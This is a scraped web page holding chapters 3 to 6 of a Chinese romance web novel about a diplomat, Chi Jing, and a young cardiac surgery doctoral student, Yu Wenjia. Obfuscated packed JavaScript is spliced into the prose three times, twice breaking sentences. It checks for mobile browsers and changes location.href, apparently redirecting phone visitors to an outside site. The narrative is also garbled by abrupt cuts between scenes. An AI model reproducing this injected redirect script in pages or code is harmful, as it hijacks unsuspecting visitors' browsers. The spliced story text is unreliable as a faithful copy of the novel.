《渐入佳境》 3. 第 3 章 03 池镜帮余闻嘉擦去了脸上的灰尘和血迹,跟他说:“回家涂点碘伏什么的,消消毒。” 余闻嘉乖乖地点了点头。 池镜朝周宇豪离开的方向看了一眼,问余闻嘉:“他之前有找过你麻烦么?” 余闻嘉摇头,池镜没听到他说话,转头看向他:“嗯?” 余闻嘉说:“没。” 池镜指了指他脸颊蹭破的地方,说:“我不是单说这种程度的麻烦,那种要你跑腿啊写作业什么的也算。” 余闻嘉摇头:“没,我之前没见过他。” 池镜点了点头,还想说些什么,面前的男孩突然问他:“我们……是不是见过?” 池镜盯着他看了几秒,随后笑了:“原来真不记得我了。” 他没作解释,转身道:“走吧,送你回家。” “我们真的见过?”余闻嘉跟上他,背着书包紧跟在他身后,盯着他的后脑勺。 这人的头发看起来很软很顺,发丝在晚风中微微扬起。 池镜突然转过身,余闻嘉跟他太紧了,没个防备,脸直直地往他胸口一撞…… 余闻嘉闻到一股淡淡的肥皂香,那是男生校服上的味道。 往后很多年,这个味道一直刻在余闻嘉的记忆里。 轻飘飘一小不点往自己身上一撞,池镜还没怎么,余闻嘉倒是受反作用力人猛地往后一仰。 池镜伸手捞了他一把:“哎……” 这小孩儿又瘦又轻,一阵风都能刮跑了。 当时的池镜并不知道余闻嘉比自己小五岁,只觉得这位小朋友严重营养不良,他自己也有个弟弟,跟余闻嘉同学校同年级,两人看着实在不像同龄人。 后来池镜才知道,他们两个还真不是同龄人。 余闻嘉嘴巴磕到了池镜的校服拉链,下嘴唇有点红。 “撞疼没有?”池镜问他。 余闻嘉捂着鼻子说“没”。 “真没假没啊。”池镜笑了,“眼泪都出来了。” 余闻嘉眨眨眼睛,睫毛上挂着几滴泪花,老老实实地说:“嘴巴疼。” 过了两秒,又说:“鼻子也疼。” 池镜无奈地笑了笑:“你跟我那么紧干什么。”他看了看余闻嘉的嘴巴,下嘴唇已经肿了,好在没有磕破皮。 “你自己突然转过来……”男孩儿语气还有点控诉。 “我跟你说话呢。”池镜放低了声音,微微弯下腰,“你不是问我,我们是不是见过。告诉你,我们是见过,但你对我好像没印象了。” 余闻嘉眼睛一眨不眨地看着他。 “有印象的。”余闻嘉说。 “是吗?”池镜挑了下眉,“这不是到现在还没想起来。” “没印象就不会记得跟你见过了。”余闻嘉逻辑挺顺。 “嗯,说得也是。”池镜笑着点点头,直起身子,转身朝巷子里面走,“走吧。” “哥——”余闻嘉张了张嘴,叫住他:“哥哥。” 池镜回过头。 “你……吃冰吗?”余闻嘉把手摸进校服口袋,摸摸里边的零钱包,顿了两秒说,“冰淇淋,我请你吃。” 池镜笑了笑:“谢谢,我不吃。” “那你要吃别的么?”余闻嘉手揣兜里摸着零钱包,“我有钱的。” 池镜笑道:“钱留着给自己花,我什么都不要吃。” “……哦。” 池镜把余闻嘉送回了家,两人回家是一条路线。池镜走在前面,余闻嘉跟在后面,三分钟的路程,两人没怎么说话。 池镜在余闻嘉家门口停了下来,转头跟他说:“以后周宇豪再找你,你跟我说。”他指了指余闻嘉受伤的脸颊,“你这怎么弄的,也要跟你家里人说清楚了,知道吗?” 余闻嘉看看自家院门,又看看池镜,表情懵懵的。 池镜笑了下,朝南边那间大杂院偏了偏头:“我就住你爷爷旁边那间院子,现在知道我们在哪儿见过了吧。” 虽然就在旁边,但其实还隔着一条窄巷。 爷爷大病初愈,余闻嘉也刚搬来老宅没多久,他没跟池镜碰过面。但其实两人很早之前就见过,只是次数不多,余闻嘉那时候年纪又小,几乎没什么印象。况且他本来就不怎么关注跟自己无关的人和事。 池镜知道余闻嘉是余家老爷子的孙子,他们一家平日里跟余爷爷邻里关系融洽,两家人挺熟的。 余闻嘉愣愣的,还有点没反应过来。 “进去吧,我走了。”池镜说。 余闻嘉回过神,眼看着池镜走进了窄巷旁边的那间大杂院,跟爷爷住的老宅比起来,大杂院的院门看起来有些破败,门框两旁贴的春联脱落得只剩一半,颜色也褪成了灰红色。 “你俩上个洗手间还一起啊。” 池镜和余闻嘉走进了包厢,坐在位子上的池明扭头看着他们。 池镜走过来十分顺手地在他脖子上拍了一巴掌,池明“嗷”了一声,装腔装调的,其实一点也不疼。 池姥姥笑呵呵道:“嘉嘉以前就跟咱小镜亲。” 池镜无声地笑笑,心道您也说了是以前,现在人家可跟我不亲了。 “我过去了,镜哥。”余闻嘉跟池镜说。 池镜“嗯”了一声。 两人坐回了各自的座位。 九点不到,宴席散了。余闻嘉直接坐地铁回了学校宿舍,虽然现在是暑假,但对医学生,尤其是博士生来说,寒暑假形同虚设,实验是要做的,医院也是要去的。 脑子乱糟糟的,余闻嘉一晚上没睡好,凌晨才迷迷糊糊地睡了,第二天早起又去了医院。 上午跟导师查完房,余闻嘉收到了池明发来的消息,他妈跟他姥给池镜接风洗尘,晚上订了家餐厅,邀请他们一家过来吃饭。 余闻嘉这天下午跟了一台大手术,耗时十一个小时,结束时已经晚上九点。他提前跟池明说过,手术结束时间不确定,可能会晚到,也可能去不了。 下了手术台,他从衣服兜里摸出手机一看,好几个未接电话,他妈的,池明的,还有池镜的。 余闻嘉回拨了池镜的电话。 “镜哥,我刚下手术台。”余闻嘉跟电话那头的池镜解释。 “晚饭吃没?” 余闻嘉从衣柜里翻出一包饼干,撕开包装袋拿了一块塞进嘴里,嚼了两口就咽进去了。他说:“正在吃。” 十几个小时没进食,刚才在手术室还没什么感觉,一出来才觉得头有点晕。 “还上着学呢就这么忙。” “今天的手术时间比较长。” 池镜刚到家,他进厨房倒了杯水,问余闻嘉:“你已经上临床了?” “嗯,不过还不能主刀。” “已经很厉害了。” “不厉害。” 池镜喝着水笑笑:“你还想多厉害。”他虽然对余闻嘉专业领域的事不了解,但对心外科手术的难度系数还是有概念的。 心外科的手术基本都是三类、四类级别的大手术,过程精细,耗时长,不仅是技术活,也是体力活。余闻嘉刚读完硕士,以心外科手术的复杂程度来说,他的资历经验尚浅,现在还不能主刀,但他已经被他导师带着上过很多次手术台。 余闻嘉有点饿过头了,其实并不怎么饿,头晕是身体缺乏能量的信号,他现在就是机械地进食,给身体补充能量而已。 饼干太干了,不是很好吃,余闻嘉吃了两块就放到一边,拿了瓶矿泉水打开喝了一口。他低下头,舔了舔湿润的嘴角,看着矿泉水瓶包装上的小字。 手机贴在耳边,余闻嘉叫了声:“镜哥。” “嗯?” “欢迎回来。” 池镜刚调任回国,手头交接工作一堆,他太忙了,除了刚回国那两天有点时间,之后他家人几乎见不到他人。池镜还在国外时,他和余闻嘉联系就不多,如今回国了,情况还跟之前差不多。 余闻嘉也忙,两周过去了,自从那次升 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他们来得晚,一桌基本都坐满了,空了三张位置,余闻嘉和李彻一入座,就剩一个座位是空的。 “好家伙,二院开大会了这是。”有人笑着说了一句。 “过生日这大好日子的能不能不说这晦气话?” 那人拍拍胸口,笑着道歉:“我的错我的错,一会儿我自罚一杯。” “现在就罚。” “这人都还没到齐呢……” 没等人齐,陆思远就请服务员起菜,跟大伙说还有个朋友要晚点过来,他们先开始。 服务员备菜期间,陆思远挨个介绍了一下今天到场的同事和朋友。半个酒桌的人都是同行,场子热起来那是分分钟的事,一伙人很快就聊开了。 开席没多久,外面传来一阵敲门声,有人推门而入:“不好意思。” 余闻嘉闻声一愣,转头看向门口。陆思远放下酒杯站了起来,包厢一瞬间安静了,众人停止攀谈,纷纷朝门口看去。 “不好意思,来晚了,刚忙完。”池镜走到陆思远那儿,把手里的酒递过去,“生日快乐。” 陆思远接过那瓶酒,笑了笑:“谢谢。好久不见了。” 池镜点点头:“是挺久了。” “这么好的酒,有点破费啊。” “客气了。”池镜笑着说。 “这位是我朋友,池镜。”陆思远跟众人介绍。 池镜浅笑着冲众人点了下头,视线扫过酒桌时,他看到了坐在一边的余闻嘉。 池镜愣了一下,余闻嘉不动声色地看着他。 “快坐吧。”陆思远招呼道。 余闻嘉旁边还有个空座,池镜直接走过去在他旁边坐了下来,也没跟余闻嘉说话,伸手拿起方盘里的热毛巾。 余闻嘉扭头看了池镜一眼,不说话,就这么看着他。 池镜坐得端正,故意摆哥哥架子:“又不叫人。” 余闻嘉乖乖地叫了一声:“镜哥。” 池镜应了声:“嗯。” 余闻嘉沉默半晌,突然低声问:“你怎么会认识陆思远。” 池镜拿热毛巾慢条斯理地擦着手,嘴角挂着似有若无的笑意,下意识逗他:“我认识的人可多了。” 4. 第 4 章 04 “嗯?”李彻见余闻嘉在跟那位刚来的朋友说话,有点好奇地探头,“闻嘉,你俩认识啊?” 余闻嘉“嗯”了声,跟池镜介绍道:“这是我师兄,李彻。” 池镜浅浅一笑,点头致意:“你好。” “幸会幸会。” 余闻嘉跟池镜聊了两句,旁边一圈人就看出来他俩认识了。同行朋友圈基本都是交叉的,余闻嘉认识陆思远的朋友似乎也不奇怪,于是乎这些人以为池镜也是医生。同时看此人到场时陆思远那微妙的态度,他们猜测可能是哪个三甲医院的大拿。 “老兄你也是医生?同行吗?”有个坐得离池镜挺近的人问了一句。 “兄啥兄,人一看就比你年轻啊。”有人笑着怼了他一句。 “你少拐着弯挤兑我啊。”他说完又看向池镜,等他说话。 池镜说:“我不是。” “不是同行啊……那你是做什么工作的?” “我在外事部工作。” “外事部……”那人不小心咬了下舌头,“外、外交官啊?” 池镜点头。 那人很意外,重又打量了一下池镜——这形象,这谈吐,这气质,难怪了。 就近的半桌人听到他俩的对话,视线纷纷落在池镜身上。 外交官对普通人来说是个很有距离感的职业,大家都觉得很新鲜,看池镜的眼神都跟一开始不一样了。 提起外交官,一般人联想到的都是电视新闻里那些光鲜亮丽,侃侃而谈的发言人形象,池镜的形象气质不消说多,很有说服力。 有人甚至仔仔细细打量起他的脸来,试图回忆是不是在电视新闻里见过。 “好酷啊……”有个年轻的实习医生感叹了一句,看池镜的眼神都带了点崇敬。 池镜笑了笑,没说什么。 肩负着责任和使命的职业,说的每句话都承载着沉甸甸的重量,走的每一步都如履薄冰,哪有什么酷不酷的。如人饮水,冷暖自知,这是一个外表光鲜,内核沉重的职业。 “你平时也要上记者招待会代表国家发言吗?就电视里那种。”这个实习医生问了一句,他是真好奇,性子也憨憨的,说话很直。 这个问题就很外行了,不过池镜也不是第一次这么被人问,他解释道:“外交官也分不同职能,你说的这个是专门的外交发言人,我的工作领域不涉及这些。” 而且这些发言人基本都是固定的,不是随便什么人都能代表国家在新闻媒体上发言。 “这样啊……”对方点点头,摸着鼻子憨笑了一声,“我想简单了。” 对别人的职业刨根问底是一件比较冒昧的事,大家虽然都觉得池镜外交官的身份很稀罕,但也都点到为止,话题中心没有一直围绕在池镜身上。 这一桌坐的大半都是医生,不愁没有话题,不用陆思远热场子大家就聊得很开,医院,病患,手术,科研……涉及专业领域的话题天南海北地聊。 池镜跟陆思远是旧相识,距两人上次见面也已经是四五年前的事了,他基本不认识陆思远圈子里的人。他安安静静地坐在那儿喝茶,也有性格比较热情的人主动找他搭话,他笑着回应,但始终跟所有人隔着一层,有距离感,像个局外人。 “喝这个?”余闻嘉就近拿了瓶椰汁问池镜。 池镜看了他一眼,点头道:“行。” 在场一帮成年男性,能喝酒的喝酒,不能喝酒的喝茶,没人喝这甜腻腻的玩意儿。但余闻嘉知道池镜爱喝,他连牛奶都喜欢喝甜的。 一旁李彻见状问了句:“不喝点酒?” 池镜笑着摇了摇头,说:“一会儿敬酒的时候再喝。” 李彻笑道:“那行。还当你喝不了呢,原来能喝啊。” “要叫服务员拿瓶鲜榨果汁么?西瓜汁?”陆思远看着池镜这边,问了句。 “不用,我喝这个就行。” 几个人端着酒杯组团去给寿星敬酒,包厢里热闹起来。 余闻嘉向来寡言,这会儿比池镜话还少。他一声不吭给池镜倒完椰汁,又拿起筷子一声不吭地吃菜。池镜转头看看他,跟他视线撞个正着。 余闻嘉目光往陆思远的方向掠了一眼,突然开口:“陆思远跟你很熟?” 一帮人七嘴八舌地在说话,有点吵,池镜没听清余闻嘉说了什么,他往余闻嘉那边靠了一下,微微侧身耳朵凑过去:“什么?” 李彻往他们这边看了一眼,才觉出来余闻嘉跟这一位应该真的挺熟。 显而易见,池镜跟余闻嘉说话时,身上那种疏离的感觉就没了。 “你是不是跟陆思远很熟?”余闻嘉在池镜耳旁问。 耳畔扑来一阵温热的气息,耳朵有点痒,池镜往后靠了靠,用只有他俩能听到的音量说:“不算特别熟,就是一个老朋友。” 池镜没有介绍得很详尽,可能在他看来,自己跟陆思远的关系确实说不上很熟。 余闻嘉“哦”了一声。 晚饭结束后,这伙人转移到了楼上娱乐休息区。这里娱乐项目很丰富,能喝酒能唱歌,还能打桌球、看电影。 余闻嘉去了趟洗手间,出来时看到陆思远和池镜坐在沙发那儿说话。 “刚刚忙着招呼那帮朋友,都没机会跟你说话。”陆思远对池镜说,“怠慢了。” 池镜笑了笑:“用不着对我说这些客套话吧。” 陆思远低头一笑:“也不是客套……” 陆思远是很尊重池镜的,并且打从心底欣赏他,因此反而不想拿跟酒桌朋友打交道的方式与他相处。这样的人,接触起来就怕失了分寸,拿捏不好亲疏度。 “你变化不大。”陆思远看着池镜说。 池镜看了他一眼,笑了下:“你也没老啊。” “这话说的……”陆思远笑着,“三十多就老了,那也忒早衰了。” “当医生的辛苦。”池镜说。 “你也辛苦。” “你跟闻嘉认识?”陆思远突然问。 “嗯,他爷爷住的离我家近,小时候经常见。” “那还真是认识挺久了。”陆思远抬眼正好看到不远处的余闻嘉,“他挺厉害的,齐云枫教授的得意门生。齐教授的博士可不好申。” 池镜淡淡一笑:“从小就厉害。”他转头看了一眼,余闻嘉走到一半被李彻薅去打台球了。 池镜又跟陆思远聊了会儿,随后接到一通电话,池明打来的,但电话里传来的不是池明的声音。 “你好,请问是池明他哥吗?” “你是哪位?” “我是池明的朋友,能麻烦你现在来接一下池明吗?他——” 话音未落,电话里传来池明气恼的声音:“沈静司你有病是不是,把手机还给我,你丫——” 电话这头的沈静司按着池明的脑门将人一把推开,同时对池镜说:“稍等,我等会儿再跟你详细地解释。” “他出什么事了?”池镜皱着眉问。 池明还想上来抢手机,沈静司单手拉住他胳膊,拽着他胳膊转了个圈。池明被自己的胳膊捆住,困在沈静司身前。他喝了酒,浑身没什么力气。 “你再动我把你丢河里了。”沈静司说。 池明叹了口气,电话都已经打出去了,再挣扎也于事无补。他哥这一遭,躲不掉。 沈静司像押犯人一样把池明“押”到一旁的长椅上,池明也的确有些乏力,人一倒,直接躺在了长椅上。 沈静司看了他一眼,接着跟电话那头的池镜说明情况。 今晚池明跟朋友去酒吧放松小聚,喝多了酒,跟一个骚扰女孩子的男人起了冲突。他喝多了,本来脾气就暴,对方不断挑衅,他就拿拳头教对方做人。于是小聚阵地就从酒吧转移到了派出所,他们现在就刚从派出所出来。 池镜皱了皱眉:“光长个子不长脑子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012449|148595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 二十多岁的人了,还这么暴躁冲动。 “他有没有受伤?” “脸上挨了一拳。”沈静司在池明旁边坐了下来,“不肯去医院,也不回家,还想回去喝酒。我拿他没辙,所以给你打了电话。” 池明给池镜的备注是“阎王爷”,沈静司知道池明有个哥哥,也听他说过自己谁都不怵,就怵他哥,可能是血脉压制。池镜常年在国外,沈静司没见过他,翻了翻池明的通讯录,猜测这个“阎王爷”可能就是他。 接通电话的那一刻,他觉得对面的声音跟这个备注十分违和。 这是个温和好听的年轻嗓音。 情况池镜了解了,他对沈静司道了声谢:“麻烦你了。给我个地址,我现在过去。” 沈静司侧头看了一眼,池明已经躺在长椅上睡着了,脸上挂了彩,嘴角是青的。他跟池镜提议:“他现在睡着了,或者我直接打的送他回家。” 看池明睡着了这么安稳,沈静司心想早知道刚才直接把这人打晕送回去了。 “不用了,还是我来接。别回头醒了又闹腾,给你添麻烦。我马上过去。” “好。” 沈静司俯身把手机塞回了池明兜里,听到他鼻息间传来很重的呼吸声。 池镜跟陆思远打了声招呼,说有点事,要先走了。 “怎么了?要紧事?” “我弟在外面喝多了,出了点小状况,我过去接他。” 陆思远点点头:“行,那你路上慢点。” 余闻嘉还在陪李彻打台球,他拿着球杆伏在台球桌上,抬眼看见池镜朝这边走了过来。余闻嘉收了杆,直起身来。 “你一会儿结束了直接回学校?”池镜走过来问他。 “嗯,怎么了?” “我有事,得先走了。你等会儿怎么回去?” 李彻举了举手说:“我带他来的,我负责送他回去。” “你去哪儿?”余闻嘉问池镜。 “去接池明。” “你不是喝酒了吗?” “我叫代驾。”池镜说着拿出手机,“你到学校了给我发个消息。” “嗯。” 池镜跟众人告辞,提前离场,李彻走到余闻嘉旁边,提醒他:“别愣着了,咱继续。” 余闻嘉俯身一杆进洞。 李彻“啧”了一声,破防了:“还让不让我打了。” 今天限号,陆思远没开车,打的来的酒店。他平时滴酒不沾,今天也没喝酒。散场时李彻把车钥匙交给了他,让他先送余闻嘉回学校,再送他回家。 “明儿你直接开我车去医院吧。”李彻说。 “刮了蹭了怎么说?”陆思远问。 “照价赔偿。”李彻刚才又喝了不少,说话都有点大舌头。他明天休息,今天难得放纵。 仨人坐进车里,李彻坐副驾驶,余闻嘉坐在后座。 酒鬼话多,李彻坐在前面絮絮叨叨唠个没完,说着说着扯到了池镜身上。 “诶对了,你上哪儿认识的那位外交官啊?人脉够广的啊。” 陆思远被他一身酒气熏得直皱眉,开了点窗户,说:“有两年我不是跟着医疗队去援非了么,去的南苏丹,就那会儿认识的。” 联系到池镜的职业,李彻眯了眯眼睛,喃喃道:“噢……他是在使馆工作是吧?” “嗯,是。” 提到陆思远援非,李彻多了一段较为清晰的记忆,他突然“哎”了一声,猛地转过头:“我想起来了——”他直盯着陆思远,一脸看破天机的神情,“陆思远啊陆思远,你那会儿跟我说惦记上一人,不会就是他吧?” 陆思远“嘶”了一声,对李彻岁月史书的用词颇为不满:“我什么时候跟你说我‘惦记’上一人,能不能别瞎用词。” “你当时不就这么个意思么,还不好意思呢。我说你今天怎么反应有点微妙呢,敢情是有内情啊。” 5.第 5 章 05 陆思远有点无语:“什么跟什么,你甭瞎扯。” “还我瞎扯呢,你就说吧,你当年去援非那会儿,跟我说有个想追的人,是不是就这?就这池先生?” 李彻虽然性格外向,但平时也不是个话痨,今天是真喝多了,人有点兴奋。兴奋到忘了坐在后面的余闻嘉也认识池镜,说话没遮没掩的。 陆思远“啧”了一声,压低声音道:“你师弟还在后头坐着呢,这张破嘴能不能把把门。” 李彻回头看了看余闻嘉,大大咧咧道:“又不是什么见不得人的事儿。” 陆思远的性向在他这帮朋友里不是秘密,余闻嘉也早就知道。 李彻从烟盒里摸出一根烟,说:“我记得你当初也没追上吧,他是直的吧?” 陆思远皱眉制止:“别跟车里抽。” “哎行,不抽。”李彻又把烟收回去了。 直不直的陆思远不清楚,人家当初拒绝他也不是这个理由。 虽然陆思远始终没有正面回答李彻的追问,但他的反应已经表明了一切。 他是青睐过池镜,不过也没有明着追,怕太冒昧。虽然没明目张胆地追求,但那点心思基本都表现在明面上了,所以当初他跟挑明池镜之时,池镜也没有表现出很大的反应,拒绝得很体面,也很干脆。 陆思远比池镜大几岁,他们相识那会儿池镜刚外派到南苏丹没多久,很年轻,当时他还只是个随员。南苏丹是个新生国家,贫穷落后,他们医疗队抵达之初这个国家建国还没几年,因为内战,甚至有战乱的威胁。 当时他们医疗队刚找到新的驻地,落脚第二天就去拜会了使馆,那天也是陆思远第一次见到池镜——模样清俊,温文有礼。 他想自己可能第一次见面就被池镜吸引了。 初见时的好感又在随后每一次接触中逐渐叠加。 陆思远在那边工作了两年就回国了,池镜工作任期结束后又辗转去过其他的国家,今年调任回国。这些年陆思远跟池镜还有联系,池镜要回国的事他也是一次闲聊中偶然得知的。 虽然没那方面的缘分,但除去喜欢,他也很欣赏池镜,感情上求不来,当朋友也是值得的。 李彻回想池镜的气质相貌,由衷道:“别的不说,那位池先生模样气质还真挺出挑的,不愧是外交官。” 也难怪陆思远惦记——这句他没说出口,怕陆思远跳起来削他。 陆思远笑了笑:“外交官也不是你想的那样体面轻松,你当他们的工作就是在各种高级宴会来来往往?人家是干实事的。” 去新生国家巩固建交关系相当于是个从无到有的过程,更何况那是个相对来说没那么和平的地区,还要面对战乱带来的各种不稳定因素。 陆思远不想在背后对池镜多加议论,便不再回应李彻抛出的话题。不料李彻问了句:“说老实话,你是不是还惦记人家呢?” 车在红绿灯路口停下,陆思远叹了口气:“真想给你嘴巴缝起来啊。” 李彻立马坐直了:“哎哟,这是给我说中心事了。” “早就过去了,惦记什么惦记。”陆思远斜了他一眼,“都过去多少年了,这几年我又不是没谈过。” “白月光懂不懂?” 陆思远被逗笑了,这么幼稚的词也亏这人能说得出口。 “要不是杀人犯法,我是真想把你从窗户口扔出去。”陆思远看着前方路况,“我说了没有就没有,你别朝天一张嘴胡咧咧。” “那你今天算怎么个事儿,对着人家手脚都不知道往那儿放了,跟人说个话笑得比花还灿烂。” “李彻你真的还能再夸张点,我哪这样了?我那是尊重,怕怠慢了,你扯什么乱七八糟的。” 陆思远语气认真,表情也严肃了起来,李彻知道自己再说下去这家伙该生气了,双手一举主动退场:“不扯了,我闭麦。” 毕竟余闻嘉跟池镜认识,当着他面聊池镜有点冒昧,陆思远往后视镜看了一眼,发现余闻嘉面无表情地看着窗外,似乎不太关注他们的对话。 他本来想说点什么打个圆场,见余闻嘉好像没什么反应,就作罢了。 池镜从沈静司那儿接回了池明,直接把他带去了自己那里。到家后池镜从药箱里翻出棉签和酒精,帮池明给伤口消毒。池明酒还没醒,一进屋就躺沙发上了。池镜拿粘了酒精的棉签往他嘴角一碰,他疼得直接弹起身。 池明人都疼清醒了,眼冒金花地看了眼他哥手里的棉签:“您拿酒精是要谋杀我啊,用碘伏不成么?” “没找着碘伏,酒精凑合吧。”池镜说着棉签又戳过去,池明赶忙往后躲。 “哎哎哎,别了别了,这一步就算了吧,我去洗洗就成了,太特么疼了。” 池镜没说什么,按着他肩膀还是拿酒精给他消毒。池明疼得龇牙咧嘴,消个毒倒让他醒酒了。 消完毒,池镜去厨房拿来冰块和毛巾,给他冷敷。池明拿冰毛巾捂着嘴角肿起来的地方,生无可恋地躺在沙发上。 “敷完了去洗澡。”池镜给他拿了身换洗衣服。 “你怎么不说我啊。”池明眼巴巴地看着他。 “说你有用?”池镜看了他一眼,“今天你占理,我还敢说你?” 池明乐了:“那确实,你可说不了我。” “什么时候改改你那臭脾气?” “改不了了。” 池镜拿着衣服往浴室走:“二十几岁的人了还跟人打架。” “你这几天有这么忙吗,都见不着你人。”池明靠在沙发上问。 “忙。” “什么时候忙完?你不是说要来我公司看看么。” “有空就去。” “等你有空地球都不转了。” 池镜笑了一声,关上浴室门说:“就这几天。” “行。” 池明大学读的是计算机专业,毕业后跟朋友合伙开了家游戏公司,他朋友出资他出技术,那个朋友就是沈静司,池明现在是公司副总。 三天后,池镜抽空去了趟池明公司。下班时间,公司没什么人了,池明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020503|148595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 助理带他参观完公司,就把他领去了副总办公室。 公司刚创立三年多,规模不算很大,但公司管理运营各方面已经相对成熟。 “池总还在开会,您先在办公室稍等一会儿。”助理把池镜带到副总办公室门口,“您喝水还是什么?” “谢谢,我不用,你去忙你的事吧。” “好的。” 走进办公室,池镜四下看了一眼。回国快一个月了,他还是头一回来池明的公司。办公室的装修很符合他弟的风格,带着点中二气息,办公桌后面的柜子里摆着一排排游戏手办和各式各样的模型。 沙发前的茶几上放着一台笔记本电脑,屏幕亮着,沙发上还放了个书包,刚才应该有人在这儿。 池镜走过去看了眼电脑屏幕,满屏的英文,都是很复杂的专业用词,有的单词他甚至看不懂。 看了一会儿池镜就反应过来了,这是篇医学方面的学术文章。 晃神间,办公室的茶水间传来脚步声,池镜抬头一看,看到余闻嘉端着一杯咖啡从里面走了出来。 余闻嘉穿了件浅灰色的连帽卫衣,鼻梁上架着一副黑框眼镜,一身学生气。他停在那儿,有点呆滞地跟池镜四目相视。 “……镜哥。”余闻嘉叫了声,走过来道,“你怎么在这儿。” “来参观。你呢,”池镜看了看茶几上的电脑,“怎么跑这儿来学习了。” “池明喊我吃晚饭,刚到这他又临时开会,我正好带了电脑,就写会儿论文。” 余闻嘉把咖啡放茶几上,转过身默默地把歪在一边的书包摆正,视线扫了一圈,确认这片区域干净整洁才重新转过身来。 “你怎么戴眼镜了?”池镜看着余闻嘉的眼镜,“近视了?” “有点。” 池镜笑了:“什么叫有点。” “度数不深,不影响日常看东西。” 余闻嘉以前不戴眼镜,这副眼镜也是前两年才配的,用眼过度视力到底还是受了点影响。这眼镜他平时基本不用,有时候看文献看久了,眼睛疲劳才会戴。 “你要喝什么?这里只有茶和咖啡。”余闻嘉问。 “我不喝。”池镜走到柜子前看里面的手办,鉴赏了一会儿回头发现余闻嘉已经坐下继续写论文。 余闻嘉正打着字,身后突然传来池镜的声音:“写个论文不差这一时半会儿,你眼睛就是这样弄坏的。” 说着他俯下身摘掉了余闻嘉的眼镜,余闻嘉身子一顿,也没阻止他。 “休息一会儿,别老看电脑,用眼过度能不近视么。” 余闻嘉仰头看向他,刚摘掉眼镜视线没那么清晰,他微微眯着眼睛。 除了池镜,全世界也找不出第二个敢对他这么强势行事的人。 “闭会儿眼,休息休息。”池镜看着他说,把眼镜叠起来放在一边。 余闻嘉垂下眼眸“嗯”了一声,保存文档,合上了电脑。 余闻嘉从小就是头倔驴,他妈说的。他妈也说过,他在池镜面前是头乖一点的倔驴。 6.第 6 章 06 “人呢?”门外传来池明的声音,他风风火火地推门而入。 “要来也不提前跟我说一声。”池明扯下领带往沙发上一丢,“我刚正好有个会。” 池明西装革履,穿得人模狗样的。大小也是个公司副总,他现在比他哥能赚钱,也算是达成了小时候的目标——要赚钱,赚很多钱,让他家日子好起来,让他妈和他哥别再那么辛苦。 池镜和池明小时候家里条件不好,池父去世得早,家里只有池母一人工作维持生计,本来生活还算过得去,无奈姥姥生了场病,手术费医药费,一笔笔额外支出压垮了他们一家,日子过得越来越困难。 池镜一家虽然就住余闻嘉爷爷隔壁,但他家住的是多户混住的大杂院,不是老爷子那种独门独栋的宅子。他们一家四口挤在小小的平房,连卫生间都是跟大杂院里的其他住户共用。 余闻嘉初中住爷爷家的那段时间,因为池镜的那一次解围,让他对池镜产生了很深的印象,同时也对池镜一家渐渐熟知起来。 余闻嘉当时虽然年纪小,但对穷也有概念。 他知道池镜很穷。 池家兄弟连衣服都是世袭制,通常池镜穿过的衣服,过不久就能在池明身上看到。 池镜很聪明,学习成绩很好,他周末经常会被余闻嘉爷爷喊去家里下围棋。池镜的围棋是他爸教的,他爸是数学老师,因为生病,很年轻就过世了。 余老爷子酷爱下棋,偶然得知池镜有这技能,经常喊他上家里来下棋解闷。那时余闻嘉还没跟他妈搬来这里,老头知道池家日子困难,经常借着下棋的由头,趁池镜回家时给他捎一堆东西。池镜不肯拿,他就推说都是晚辈送的礼,自己吃不上用不上,放着也是过期积灰,糟蹋东西。 老头强势,小孩拗不过他。 余闻嘉跟他妈搬来老宅后,他妈也经常干这事儿,有时多做了点心和小菜,就会叫余闻嘉给隔壁池镜哥哥家送去。 后来余闻嘉上了高中,跟池明一个班,他们两家关系就更密切了。 余闻嘉第一次去池镜家,端着两盒饺子在大杂院里跟只苍蝇似的兜来转去,这里住了好多户人家,嘈杂喧闹,充满了烟火气。他不喜欢人多的地方,找到后来都有点不耐烦,眉头一皱,嘴角一撇,想撂挑子不干了。 “哟,这谁家小孩儿啊这么漂亮,找谁呀你?”一个身材微胖的大婶端着一盆水从一间平房里出来,直接把盆里的水泼到了地上。 余闻嘉被溅了一裤脚的水,更不高兴了。捧着餐盒的手紧了紧,他闭上眼睛深吸了口气,预备原路返回,转身时却听到了一道熟悉的声音。 “周婶,您倒水看着点啊,溅人小朋友身上了都。” “哎哟没注意,没事儿,我这洗菜水,干净着呢。”胖大婶笑着说。 哪里干净了,余闻嘉腹诽。 天冷,余闻嘉穿着一件浅色羽绒衣,头上还戴了顶毛线帽,帽檐下边一双漂亮的大眼睛,胖婶眼神不好,拿他当小姑娘了。 余闻嘉也不知道是气的还是臊的,脸颊红扑扑的,池镜走过来帮他把帽檐往下拉了拉,怕他被冷风吹着。 “怎么上这儿来了?” “谁是小朋友。”余闻嘉绷着脸,一副控诉池镜的样子。 池镜笑了声,问他:“那你是大人?” 余闻嘉噎了一下,池镜又说:“我都不算大人。” “饺子。”余闻嘉把餐盒往池镜胸口一推,“我妈做的。” 